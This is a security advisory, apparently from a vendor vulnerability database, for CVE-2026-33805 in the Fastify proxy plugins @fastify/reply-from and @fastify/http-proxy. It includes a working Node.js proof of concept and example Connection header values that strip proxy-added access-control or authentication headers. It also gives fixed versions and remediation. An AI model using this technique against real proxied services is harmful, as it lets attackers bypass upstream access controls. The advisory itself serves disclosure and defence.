Summary
@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.
Details
The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:
- Client headers are copied including the
connectionheader (@fastify/reply-from/index.jsline 91) - The proxy adds custom headers via
rewriteRequestHeaders(line 151) - During request construction, the transport handlers read the client's
Connectionheader and strip any headers listed in it - This stripping happens after
rewriteRequestHeaders, allowing clients to target proxy-added headers for removal
RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.
The call chain:
@fastify/reply-from/index.jsline 91:headers = { ...req.headers }, copies ALL client headers includingconnectionindex.jsline 151:requestHeaders = rewriteRequestHeaders(this.request, headers), proxy adds custom headers (e.g.,x-forwarded-by)index.jsline 180:requestImpl({...headers: requestHeaders...}), passes headers to transportrequest.jsline 191 (undici):getConnectionHeaders(req.headers), reads Connection header FROM THE CLIENTrequest.jslines 198-200: Strips headers listed in Connection, including proxy-added headers
This is distinct from the general hop-by-hop forwarding concern, it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.
PoC
Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:
const fastify = require('fastify');
async function test() {
// Upstream service that echoes headers
const upstream = fastify({ logger: false });
upstream.get('/api/echo-headers', async (request) => {
return { headers: request.headers };
});
await upstream.listen({ port: 19801 });
// Proxy that adds a custom header via rewriteRequestHeaders
const proxy = fastify({ logger: false });
await proxy.register(require('@fastify/reply-from'), {
base: 'http://localhost:19801'
});
proxy.get('/proxy/*', async (request, reply) => {
const target = '/' + (request.params['*'] || '');
return reply.from(target, {
rewriteRequestHeaders: (originalReq, headers) => {
return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
}
});
});
await proxy.listen({ port: 19800 });
// Baseline: proxy adds x-forwarded-by header
const res1 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers'
});
console.log('Baseline response headers from upstream:');
const body1 = JSON.parse(res1.body);
console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');
// Attack: Connection header strips the proxy-added header
const res2 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers',
headers: { 'connection': 'x-forwarded-by' }
});
console.log('\nAttack response headers from upstream:');
const body2 = JSON.parse(res2.body);
console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');
await proxy.close();
await upstream.close();
}
test();
Actual output:
Baseline response headers from upstream:
x-forwarded-by: fastify-proxy
Attack response headers from upstream:
x-forwarded-by: NOT PRESENT (stripped!)
The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.
Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.
Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.
Affected Versions
@fastify/reply-from, All versions, both undici (default) and HTTP/1.1 transport handlers@fastify/http-proxy, All versions (delegates to@fastify/reply-from)- Any configuration using
rewriteRequestHeadersto add headers that could be security-relevant - No special configuration required to exploit, works with default settings
Impact
Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:
- Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
- Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g.,
x-internal-auth,x-proxy-token), attackers can strip them to access unauthorized resources - Remove arbitrary headers: Any header can be targeted, including
Connection: authorizationto strip authentication orConnection: x-forwarded-for, x-forwarded-byto remove multiple headers at once
This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.
CVE-2026-33805 has a CVSS score of 8.6 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.6.2, 11.4.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.
Frequently Asked Questions
- What is CVE-2026-33805? CVE-2026-33805 is a critical-severity security vulnerability in @fastify/reply-from (npm), affecting versions <= 12.6.1. It is fixed in 12.6.2, 11.4.4.
- How severe is CVE-2026-33805? CVE-2026-33805 has a CVSS score of 8.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-33805?
@fastify/reply-from(npm) (versions <= 12.6.1)@fastify/http-proxy(npm) (versions <= 11.4.3)
- Is there a fix for CVE-2026-33805? Yes. CVE-2026-33805 is fixed in 12.6.2, 11.4.4. Upgrade to this version or later.
- Is CVE-2026-33805 exploitable, and should I be worried? Whether CVE-2026-33805 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33805 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33805?
- Upgrade
@fastify/reply-fromto 12.6.2 or later - Upgrade
@fastify/http-proxyto 11.4.4 or later
- Upgrade